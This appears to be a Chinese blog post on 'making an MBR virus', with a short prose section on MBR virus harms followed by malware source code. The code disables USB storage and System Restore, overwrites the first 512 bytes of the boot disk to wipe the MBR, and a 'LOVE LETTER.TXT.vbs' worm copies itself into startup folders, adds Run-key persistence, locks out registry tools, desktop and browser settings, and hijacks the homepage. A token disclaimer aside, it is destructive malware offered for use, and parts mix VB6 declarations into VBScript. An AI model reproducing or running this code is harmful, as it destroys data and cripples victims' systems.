MBR病毒制作

MBR 病毒的危害

MBR 病毒是一种潜伏在主引导扇区的病毒，其带来的危害不可小觑。所以这里的代码千万不要乱用！

首先，MBR 病毒可能导致硬盘坏道过多。硬盘的主引导扇区记录着硬盘最基本的信息，如分区信息等，当 MBR 病毒对这些信息进行篡改和破坏时，会影响硬盘的正常读写操作，增加硬盘的负担，从而导致坏道的产生。这不仅会影响数据的存储和读取，还可能造成数据的丢失和损坏。

其次，MBR 病毒会使系统出现异常。它可能干扰系统的正常启动过程，导致系统频繁蓝屏、死机等问题。即使尝试还原默认 BIOS 设置、格式化硬盘、重新分区以及重装系统，也可能无法解决这些问题。

再者，MBR 病毒会让电脑变得卡顿。它会占用系统资源，影响系统的运行速度，使得打开网页、运行程序等操作变得异常缓慢。

此外，MBR 病毒还可能导致杀毒软件被关闭，安全相关的网页无法打开，使得电脑失去有效的防护，更容易受到其他恶意软件的攻击。

而且，MBR 病毒还可能导致用户的游戏账号等被盗取，给用户造成经济损失和隐私泄露的风险。

MBR 病毒的传播途径较为广泛，包括通过不良网站提供的视频捆绑传播、网络游戏外挂捆绑传播等。这使得用户在不经意间就可能感染该病毒。

总之，MBR 病毒的危害极大，严重影响了电脑的正常使用和用户的数据安全。我们需要加强防范意识，避免感染此类病毒。

' 创建一个WScript.Shell对象
Set objShell = CreateObject("WScript.Shell")
 
' 定义注册表路径
strKeyPath = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR\"
 
' 设置启动类型为禁用
objShell.RegWrite strKeyPath & "Start", 4, "REG_DWORD"
 
' 输出成功消息
WScript.Echo "PE存储设备禁用。"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR", 1, "REG_DWORD"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig", 1, "REG_DWORD"
WScript.Echo "系统恢复选项已被禁用。"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR", 1, "REG_DWORD"
WScript.Echo "系统还原点创建已被禁用。"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableBkupRestore", 1, "REG_DWORD"
WScript.Echo "启动菜单中的备份和恢复选项已被禁用。"
' 警告：此代码仅供教育目的，实际操作可能导致系统不稳定或数据丢失。 
' 请勿在生产环境中使用。 
 
' 定义API函数
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
 
' 定义常量
Const GENERIC_READ = &H80000000
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_READ = &H1
Const FILE_SHARE_WRITE = &H2
Const OPEN_EXISTING = &H3
 
' 主函数
Sub DeleteMBR()
    Dim hDisk As Long
    Dim buffer(511) As Byte ' MBR大小为512字节 
    Dim bytesWritten As Long
    
    ' 打开磁盘
    hDisk = CreateFile("\\.\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_READ Or FILE_SHARE_WRITE, ByVal 0&, OPEN_EXISTING, 0, 0)
    If hDisk = -1 Then
        WScript.Echo "无法打开磁盘"
        Exit Sub
    End If
    
    ' 写入空数据到MBR
    If WriteFile(hDisk, buffer(0), 512, bytesWritten, ByVal 0&) = 0 Then
        WScript.Echo "写入失败"
    Else
        WScript.Echo "MBR已删除"
    End If
     
    ' 关闭磁盘句柄
    CloseHandle hDisk
End Sub
 
' 调用主函数
DeleteMBR

On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\LOVE LETTER.TXT.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\LOVE LETTER.TXT.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\Shell:Startup\LOVE LETTER.TXT.vbs")
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","I LOVE YOU S0----"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","YOU ARE HACKED！"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
r.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://liudemin.myetang.com"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD"